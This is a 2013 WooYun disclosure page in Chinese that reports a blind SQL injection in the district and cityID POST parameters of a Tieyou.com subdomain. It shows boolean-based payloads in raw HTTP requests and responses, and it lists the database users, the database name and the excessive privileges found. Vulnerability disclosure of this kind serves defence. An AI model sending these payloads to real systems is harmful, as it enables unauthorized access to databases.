当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-045725

漏洞标题：铁友网某分站sql盲注漏洞

相关厂商：铁友网

漏洞作者： 白非白

提交时间：2013-12-12 15:00

修复时间：2014-01-26 15:01

公开时间：2014-01-26 15:01

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-12： 细节已通知厂商并且等待厂商处理中
2013-12-16： 厂商已经确认，细节仅向厂商公开
2013-12-26： 细节向核心白帽子及相关领域专家公开
2014-01-05： 细节向普通白帽子公开
2014-01-15： 细节向实习白帽子公开
2014-01-26： 细节向公众公开

简要描述：

post 盲注

详细说明：

注入点：http://daishoudian.tieyou.com/province.html

request：
POST /province.html HTTP/1.1
User-Agent: Opera/9.80 (X11; Linux x86_64) 
Host: daishoudian.tieyou.com
provinceID=5619&cityID=5620&district=5625
response：
{"provincePinYin":"hunan","cityID":"170","district":"976"}


request：
POST /province.html HTTP/1.1
User-Agent: Opera/9.80 (X11; Linux x86_64) 
Host: daishoudian.tieyou.com
provinceID=5619&cityID=5620&district=5625' and ''='
response：
{"provincePinYin":"hunan","cityID":"170","district":"976"}


request：
POST /province.html HTTP/1.1
User-Agent: Opera/9.80 (X11; Linux x86_64) 
Host: daishoudian.tieyou.com
provinceID=5619&cityID=5620&district=5625' and ''='1
response：
{"provincePinYin":"hunan","cityID":"170","district":"1639"}


参数cityID以及district都存在此类型注入。

漏洞证明：

数据库用户:
dbworker(administrator)
slave （要善待员工啊！）
当前数据库：
address
当前用户权限（权限过大）：
execute，file等。

修复方案：

应该懂。（向一哥致敬）

版权声明：转载请注明来源 白非白@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-12-16 17:32

厂商回复：

确认，感谢白非白！

最新状态：

暂无

漏洞评价：

评论

  1. 2013-12-16 20:54 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    @铁友网 20rank变成4rank了。。。提交的另外一个主站的一起确认了吧。。